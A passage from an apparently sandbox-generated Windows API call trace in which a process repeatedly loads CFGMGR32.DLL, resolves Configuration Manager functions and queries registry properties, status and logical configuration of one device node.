0x8 [0246.157] SafeArrayGetElement (in: psa=0x20abbaf1c20, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0246.157] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf20d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0246.158] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf20d8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0246.158] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf20e0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0246.158] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf20e8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0246.158] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf20f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0246.158] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf20f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0246.158] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2100, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0246.159] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79520) returned 1 [0246.159] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cbf0) returned 1 [0246.160] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.160] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.160] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.164] malloc (_Size=0x18) returned 0x20abc281a80 [0246.164] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0246.170] malloc (_Size=0x48) returned 0x20abc27cf80 [0246.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4e7eaf3f, dwHighDateTime=0x1d9eb0c)) [0246.171] SetEvent (hEvent=0x248) returned 1 [0246.175] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.175] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.177] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.177] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.177] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.177] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.177] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.177] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.177] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.178] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.178] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.178] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.178] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.178] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.178] malloc (_Size=0x18) returned 0x20abc2820e0 [0246.179] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0246.179] malloc (_Size=0x48) returned 0x20abc27cf80 [0246.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4e7eaf3f, dwHighDateTime=0x1d9eb0c)) [0246.189] SetEvent (hEvent=0x248) returned 1 [0246.195] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.196] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.200] malloc (_Size=0x18) returned 0x20abc2819a0 [0246.200] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0246.201] malloc (_Size=0x48) returned 0x20abc27cb20 [0246.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4e8379db, dwHighDateTime=0x1d9eb0c)) [0246.201] SetEvent (hEvent=0x248) returned 1 [0246.297] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.297] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.302] malloc (_Size=0x18) returned 0x20abc281a00 [0246.302] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0246.303] malloc (_Size=0x48) returned 0x20abc27cb20 [0246.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4e91c32f, dwHighDateTime=0x1d9eb0c)) [0246.303] SetEvent (hEvent=0x248) returned 1 [0246.310] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.310] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.314] malloc (_Size=0x18) returned 0x20abc281fc0 [0246.315] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0246.319] malloc (_Size=0x48) returned 0x20abc27cb20 [0246.319] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4e942561, dwHighDateTime=0x1d9eb0c)) [0246.319] SetEvent (hEvent=0x248) returned 1 [0246.324] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.324] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.329] malloc (_Size=0x18) returned 0x20abc281fe0 [0246.329] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x39, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0246.330] malloc (_Size=0x48) returned 0x20abc27cb20 [0246.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4e96869e, dwHighDateTime=0x1d9eb0c)) [0246.330] SetEvent (hEvent=0x248) returned 1 [0246.336] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.336] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.506] malloc (_Size=0x18) returned 0x20abc281d40 [0246.507] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x39, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0246.507] malloc (_Size=0x48) returned 0x20abc27cb20 [0246.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4eb0c13d, dwHighDateTime=0x1d9eb0c)) [0246.507] SetEvent (hEvent=0x248) returned 1 [0246.512] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.512] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.516] 